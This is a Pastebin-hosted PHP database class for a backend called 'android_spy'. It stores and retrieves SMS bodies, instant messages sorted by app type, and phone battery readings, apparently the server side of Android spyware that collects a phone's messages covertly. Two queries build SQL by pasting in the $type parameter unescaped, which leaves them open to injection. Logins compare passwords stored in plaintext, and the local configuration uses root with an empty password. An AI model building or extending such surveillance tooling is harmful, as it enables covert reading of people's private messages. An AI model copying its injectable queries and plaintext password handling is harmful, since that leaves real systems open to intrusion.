Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- class Db {
- public static $db;
- public static function connect()
- {
- /*NASTAVENÍ ÚDAJŮ K DATABÁZI */
- if($_SERVER['SERVER_ADDR'] == "::1")
- {
- $host = "localhost";
- $database = "android_spy";
- $username = "root";
- $password = "";
- }
- else
- {
- $host = "localhost";
- $database = "abcdeshopsk1";
- $username = "db30662";
- $password = "***";
- }
- $db = new \PDO("mysql:host=$host;dbname=$database", $username, $password);
- self::$db = $db;
- $db->query('SET NAMES UTF8');
- }
- public static function getMessageById($id)
- {
- $socket = self::$db->prepare("SELECT `body` from `sms` WHERE `id` = ?");
- $socket->execute(array($id));
- $result = $socket->fetch();
- return $result[0];
- }
- public static function loginUser($nickname, $password)
- {
- $socket = self::$db->prepare("SELECT user_id, admin FROM users_data WHERE nickname=? AND password=?");
- $socket->execute(array($nickname, $password));
- $result = $socket->fetch();
- return $result[0];
- }
- public static function checkDuplicity($nickname)
- {
- $socket = self::$db->prepare("SELECT COUNT(*) FROM users_data WHERE nickname=? LIMIT 1");
- $socket->execute(array($nickname));
- $result = $socket->fetch();
- return $result[0];
- }
- public static function registerUser($name, $surname, $nickname, $email, $password)
- {
- $socket = self::$db->prepare("INSERT INTO users_data (name, surname, nickname, email, password) VALUES (?, ?, ?, ?, ?)");
- $socket->execute(array($name, $surname, $nickname, $email, $password));
- }
- public static function getLastId()
- {
- return self::$db->lastInsertId();
- }
- public static function getAllBattery()
- {
- $socket = self::$db->query('SELECT * FROM `battery` ORDER by `timestamp` DESC ');
- $field = $socket->fetchAll();
- return $field;
- }
- public static function getAllTypesOfComunication()
- {
- $socket = self::$db->query('SELECT type FROM im_type_of_communication ORDER by `type` ASC');
- $list = $socket->fetchAll();
- $field = array();
- foreach($list as $l)
- {
- $toAdd = array();
- $toAdd["type"] = $l["type"];
- $toAdd["count"] = self::getCountOfComunication($l["type"]);
- array_push($field, $toAdd);
- unset($toAdd);
- }
- return $field;
- }
- private static function getCountOfComunication($type)
- {
- $socket = self::$db->query("SELECT COUNT(*) FROM im WHERE `type` = '$type'");
- $result = $socket->fetch();
- return $result[0];
- }
- public static function getAllSms()
- {
- $socket = self::$db->query('SELECT * FROM `sms` ORDER by `timestamp` DESC ');
- $field = $socket->fetchAll();
- return $field;
- }
- public static function getAllMessagesByType($type)
- {
- $socket = self::$db->query("SELECT * FROM `im` WHERE `type` = '" . $type ."' ORDER by `timestamp` DESC");
- $field = $socket->fetchAll();
- return $field;
- }
- public static function getMessageByIdAndType($type, $id)
- {
- $socket = self::$db->prepare("SELECT `message` from `im` WHERE `type` = ? AND `id` = ?");
- $socket->execute(array($type, $id));
- $result = $socket->fetch();
- return $result[0];
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement